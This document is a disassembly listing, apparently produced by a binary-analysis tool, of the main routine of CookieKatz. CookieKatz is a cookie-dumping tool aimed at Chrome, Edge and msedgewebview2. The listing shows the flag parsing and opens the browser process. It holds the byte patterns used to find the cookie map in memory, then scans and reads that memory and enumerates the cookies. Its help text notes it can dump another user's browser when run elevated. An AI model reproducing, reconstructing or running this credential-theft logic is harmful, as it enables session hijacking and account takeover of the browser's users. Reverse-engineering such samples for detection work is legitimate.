Function at 0x14000e520
Capabilities:
Enumerate process modules
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140068040]
xor rax, rsp
mov qword [rbp + 0x210], rax
movsxd rbx, ecx
mov rdi, rdx
lea rcx, str.____________________________________________________n
mov qword [rbp - 0x60], rdx
call fcn.14000e470
lea rcx, str._____________________________________________n
call fcn.14000e470
lea rcx, str.____________________________________________n
call fcn.14000e470
lea rcx, str._________________________________________n
call fcn.14000e470
lea rcx, str._______________________________________n
call fcn.14000e470
lea rcx, str.____________________________________n
call fcn.14000e470
lea rcx, str.By_Meckazin_____________________github.com___Meckazin__n
call fcn.14000e470
lea rcx, str.Kittens_love_cookies_too__n_n
call fcn.14000e470
xor r8d, r8d
xor esi, esi
xor r12d, r12d
mov dword [rbp - 0x64], esi
mov r15d, 1
mov dword [rbp - 0x68], r8d
mov r13, rbx
mov r14, 0xffffffffffffffff
cmp rbx, r15
jbe 0x14000e700
mov ebx, r15d
nop dword [rax]
mov rcx, qword [rdi + r15*8]
lea rdx, str.pid:
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x14000e66d
mov rcx, qword [rdi + r15*8]
mov edx, 0x3a
call fcn.140012c40
mov rbx, r14
lea rsi, [rax + 1]
nop dword [rax + rax]
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x14000e620
lea rcx, [rbx + 1]
call fcn.140010e08
mov r8, rsi
lea rdx, [rbx + 1]
mov rcx, rax
mov rdi, rax
call fcn.14001b794
lea r8, [rbp - 0x68]
mov rcx, rdi
lea rdx, [0x14006276c]
call fcn.14000e4c0
test eax, eax
je 0x14000e81c
mov rdi, qword [rbp - 0x60]
mov ebx, 1
mov esi, dword [rbp - 0x64]
mov rcx, qword [rdi + r15*8]
lea rdx, str.edge
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.webview
test rax, rax
cmovne r12d, ebx
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.list
test rax, rax
mov eax, 2
cmovne r12d, eax
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.help
test rax, rax
cmovne esi, ebx
mov dword [rbp - 0x64], esi
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000e82d
mov rcx, qword [rdi + r15*8]
lea rdx, [0x1400627c0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000e82d
inc r15
cmp r15, r13
jb 0x14000e5f0
mov r8d, dword [rbp - 0x68]
xor esi, esi
lea r15, str.chrome.exe
mov qword [rbp - 0x60], rsi
lea rbx, str.msedge.exe
lea rdi, str.msedgewebview2.exe
test r8d, r8d
je 0x14000e948
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000e808
lea r9, [rbp - 0x10]
mov qword [rbp - 0x60], rsi
lea r8, [rbp]
mov dword [rbp - 0x10], 0x104
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x14000e808
lea rcx, [rbp]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
mov rdx, r14
nop word [rax + rax]
movzx ecx, word [r8 + rdx*2 + 2]
cmp cx, word [r15 + rdx*2 + 2]
jne 0x14000e7a8
add rdx, 2
cmp rdx, 0xb
je 0x14000e918
movzx eax, word [r8 + rdx*2]
cmp ax, word [r15 + rdx*2]
je 0x14000e780
mov rcx, r14
nop dword [rax + rax]
movzx eax, word [r8 + rcx*2 + 2]
cmp ax, word [rbx + rcx*2 + 2]
jne 0x14000e7e0
add rcx, 2
cmp rcx, 0xb
je 0x14000e91d
movzx eax, word [r8 + rcx*2]
cmp ax, word [rbx + rcx*2]
je 0x14000e7b0
nop word [rax + rax]
movzx eax, word [r8 + r14*2 + 2]
cmp ax, word [rdi + r14*2 + 2]
jne 0x14000e808
add r14, 2
cmp r14, 0x13
je 0x14000e925
movzx eax, word [r8 + r14*2]
cmp ax, word [rdi + r14*2]
je 0x14000e7e0
mov edx, dword [rbp - 0x68]
lea rcx, str.____Failed_to_get_process_handle_to_PID:__lu_n
call fcn.14000e470
jmp 0x14000ee2f
lea rcx, str.____Failed_to_parse_command_line_argument__pid_
call fcn.14000e470
jmp 0x14000ee2f
lea rcx, str.Help__n_n
call fcn.14000e470
lea rcx, str.Examples:_n
call fcn.14000e470
lea rcx, str..CookieKatz.exe_n
call fcn.14000e470
lea rcx, str.____By_default_targets_first_available_Chrome_process_n
call fcn.14000e470
lea rcx, str..CookieKatz.exe__edge_n
call fcn.14000e470
lea rcx, str.____Targets_first_available_Edge_process_n
call fcn.14000e470
lea rcx, str..CookieKatz.exe__pid:_pid__n
call fcn.14000e470
lea rcx, str.____Attempts_to_target_given_pid__expecting_it_to_be_Chrome_n
call fcn.14000e470
lea rcx, str..CookieKatz.exe__webview__pid:_pid__n
call fcn.14000e470
lea rcx, str.____Targets_the_given_msedgewebview2_process_n
call fcn.14000e470
lea rcx, str..CookieKatz.exe__list__webview_n
call fcn.14000e470
lea rcx, str.____Lists_available_webview_processes_n
call fcn.14000e470
lea rcx, [0x1400625b8]
call fcn.14000e470
lea rcx, str.Flags:_n
call fcn.14000e470
lea rcx, str._____edge_______Target_current_user_Edge_process_n
call fcn.14000e470
lea rcx, str._____webview____Target_current_user_Msedgewebview2_process_n
call fcn.14000e470
lea rcx, str._____pid________Attempt_to_dump_given_pid__for_example__someone_elses_if_running_elevated_n
call fcn.14000e470
lea rcx, str._____list_______List_targettable_processes__use_with__edge_or__webview_to_target_other_browsers_n
call fcn.14000e470
lea rcx, str._____help_______This_what_you_just_did___h_works_as_well_n
call fcn.14000e470
xor eax, eax
jmp 0x14000ee34
xor r12d, r12d
jmp 0x14000e92b
mov r12d, 1
jmp 0x14000e92b
mov r12d, 2
mov rcx, rsi
call fcn.14000ffb0
test eax, eax
je 0x14000e948
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e470
jmp 0x14000ee26
mov byte [rsp + 0x30], 1
test r12d, r12d
je 0x14000ebdc
sub r12d, 1
je 0x14000eaa8
cmp r12d, 1
je 0x14000e977
lea rcx, str.____Invalid_target_browser__n
call fcn.14000e470
jmp 0x14000ee26
lea rcx, str.___Targeting_Msedgewebview2_n
call fcn.14000e470
mov ecx, 0x90
mov byte [rsp + 0x30], 0
lea r15, str.msedge.dll
call fcn.140010e08
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xfbaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x894838ec
mov dword [rax + 0x38], 0x58b48ce
mov dword [rax + 0x3c], 0x7aaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0x30798d48
mov dword [rax + 0x4c], 0x28498b48
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48f8
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x148
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0x4886c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890fb
jmp 0x14000ed06
lea rcx, str.___Targeting_Edge_n
call fcn.14000e470
mov ecx, 0x90
mov byte [rsp + 0x30], 0
mov rdi, rbx
lea r15, str.msedge.dll
call fcn.140010e08
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x894838ec
mov dword [rax + 0x38], 0x58b48ce
mov dword [rax + 0x3c], 0xaaaaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0x30798d48
mov dword [rax + 0x4c], 0x28498b48
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48aa
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x1aa
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0xaa86c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890aa
jmp 0x14000ed06
lea rcx, str.___Targeting_Chrome_n
call fcn.14000e470
mov ecx, 0x90
mov rdi, r15
lea r15, str.chrome.dll
call fcn.140010e08
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x8948aaec
mov dword [rax + 0x38], 0x58b48aa
mov dword [rax + 0x3c], 0xaaaaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0xaa798d48
mov dword [rax + 0x4c], 0x28aaaaaa
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48f8
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x150
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0x5086c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaaaa
mov dword [rax + 0x8c], 0xaaaaaaaa
cmp dword [rbp - 0x64], 0
je 0x14000ed33
lea rcx, str.___Listing_targetable_processes_n
call fcn.14000e470
mov rcx, rdi
call fcn.14000fce0
lea rcx, str.___Done_n
call fcn.14000e470
xor eax, eax
jmp 0x14000ee34
cmp dword [rbp - 0x68], 0
jne 0x14000ed84
lea r8, [rbp - 0x60]
mov rcx, rdi
lea rdx, [rbp - 0x68]
call fcn.14000fa00
test eax, eax
je 0x14000ed73
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x14000ed73
mov rcx, rsi
call fcn.14000ffb0
test eax, eax
je 0x14000ed84
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e470
jmp 0x14000ee26
lea rcx, str.____Failed_to_find_right_process_n
call fcn.14000e470
jmp 0x14000ee2f
mov ecx, 0x2000
call fcn.140020d40
mov r12, rax
test rax, rax
je 0x14000ee0f
lea r9, [rbp - 0x64]
mov dword [rsp + 0x20], 3
mov r8d, 0x2000
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x14000ee0f
mov eax, dword [rbp - 0x64]
xor edi, edi
test rax, 0xfffffffffffffff8
jbe 0x14000ee0f
mov r14, r12
nop dword [rax + rax]
mov rdx, qword [r14]
lea r8, [rbp]
mov r9d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14000edfa
mov rdx, r15
lea rcx, [rbp]
call fcn.140020d90
test eax, eax
je 0x14000ee64
mov ecx, dword [rbp - 0x64]
inc edi
shr rcx, 3
add r14, 8
movsxd rax, edi
cmp rax, rcx
jb 0x14000edd0
mov rcx, r12
call fcn.14001b370
mov rdx, r15
lea rcx, str.____Failed_to_find__ls_base_address__n
call fcn.14000e470
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140010d70
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movsxd rdx, edi
lea r8, [rsp + 0x38]
mov r9d, 0x18
mov rcx, rsi
mov rdx, qword [r12 + rdx*8]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rcx, r12
test eax, eax
je 0x14000ee12
mov r14, qword [rsp + 0x38]
mov edi, dword [rsp + 0x40]
call fcn.14001b370
lea rax, [rbp - 0x60]
xor r12d, r12d
mov qword [rsp + 0x28], rax
mov r9, r14
mov r8d, 0x90
mov dword [rsp + 0x20], edi
mov rdx, rbx
mov qword [rbp - 0x60], r12
mov rcx, rsi
call fcn.14000f900
test eax, eax
jne 0x14000eed1
lea rcx, str.____Failed_to_find_the_first_pattern__n
call fcn.14000e470
jmp 0x14000ee26
mov rax, qword [rbp - 0x60]
mov rcx, rdi
mov byte [rbp - 8], al
mov rbx, rdi
shr rax, 8
mov byte [rbp - 7], al
shr rax, 8
mov byte [rbp - 6], al
shr rax, 8
mov byte [rbp - 5], al
shr rax, 8
mov byte [rbp - 4], al
shr rax, 8
mov byte [rbp - 3], al
shr rax, 8
mov byte [rbp - 2], al
shr rax, 8
mov byte [rbp - 1], al
call fcn.140010e08
mov rdi, rax
mov r9, rbx
lea rax, [rbp - 0x60]
mov r8, rdi
mov rdx, r14
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x14000ef49
cmp eax, 0x12b
jne 0x14000f113
mov r11, qword [rbp - 0x60]
lea rax, [rbp - 8]
add r11, 0xfffffffffffffff8
mov r10, rdi
sub r10, rax
mov r9, r12
nop
mov rax, r12
lea r8, [r9 + r10]
nop word [rax + rax]
lea rcx, [rbp - 8]
add rcx, rax
movzx edx, byte [rcx]
cmp dl, 0xaa
je 0x14000ef89
cmp byte [rcx + r8], dl
jne 0x14000f107
inc rax
cmp rax, 8
jb 0x14000ef70
mov rcx, rdi
lea rbx, [r9 + r14]
call fcn.140010dd4
mov byte [rbp - 0x10], bl
mov ecx, 0x320
shr rbx, 8
mov byte [rbp - 0xf], bl
shr rbx, 8
mov byte [rbp - 0xe], bl
shr rbx, 8
mov byte [rbp - 0xd], bl
shr rbx, 8
mov byte [rbp - 0xc], bl
shr rbx, 8
mov byte [rbp - 0xb], bl
shr rbx, 8
mov byte [rbp - 0xa], bl
shr rbx, 8
mov byte [rbp - 9], bl
call fcn.140020d40
mov r14, rax
mov rdi, r12
test rax, rax
je 0x14000f1b7
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r15, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
cmp r15, r13
jae 0x14000f1b7
mov rbx, qword [rbp - 0x10]
nop dword [rax]
mov r9d, 0x30
lea r8, [rsp + 0x38]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp rax, 0x30
jne 0x14000f0b1
cmp dword [rsp + 0x58], 0x1000
jne 0x14000f0a3
test byte [rsp + 0x5c], 0x44
je 0x14000f0a3
mov rcx, qword [rsp + 0x50]
call fcn.140010e08
mov r9, qword [rsp + 0x50]
mov r12, rax
mov rdx, qword [rsp + 0x38]
lea rax, [rbp - 0x60]
mov r8, r12
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f09b
mov rax, qword [rsp + 0x38]
mov rdx, r12
mov rcx, qword [rbp - 0x60]
sub rdx, rax
add rcx, 0xfffffffffffffff9
cmp qword [rdx + rax], rbx
jne 0x14000f092
mov qword [r14 + rdi*8], rax
inc rdi
inc rax
sub rcx, 1
jne 0x14000f085
mov rcx, r12
call fcn.140010dd4
add r15, qword [rsp + 0x50]
cmp r15, r13
jb 0x14000f010
test rdi, rdi
je 0x14000f1b7
movzx r15d, byte [rsp + 0x30]
xor r12d, r12d
mov ebx, r12d
nop word [rax + rax]
mov rdx, qword [r14 + rbx*8]
test rdx, rdx
je 0x14000f193
add rdx, 0x30
mov qword [rsp + 0x20], r12
mov r9d, 0x18
lea r8, [rsp + 0x38]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000f124
lea rcx, str.Failed_to_read_the_root_node_from_given_address_n
jmp 0x14000f182
inc r9
cmp r9, r11
jbe 0x14000ef60
lea rcx, str.____Failed_to_find_the_second_pattern__n
call fcn.14000e470
jmp 0x14000ee26
mov rdx, qword [rsp + 0x48]
lea rcx, str.___Number_of_available_cookies:__zu_n
call fcn.14000e470
mov rdx, qword [rsp + 0x40]
test rdx, rdx
jne 0x14000f14d
lea rcx, str.___This_Cookie_map_was_empty_n
call fcn.14000e470
jmp 0x14000f187
mov r9d, 0x40
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f17b
movzx r8d, r15b
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.14000f7f0
jmp 0x14000f187
lea rcx, str.Error_reading_first_node_n
call fcn.140002e60
inc rbx
cmp rbx, rdi
jb 0x14000f0d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14001b370
lea rcx, str.___Done_n
call fcn.14000e470
xor eax, eax
jmp 0x14000ee34
lea rcx, str.____Failed_to_find_the_third_pattern__n
call fcn.14000e470
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14001b370
jmp 0x14000ee2f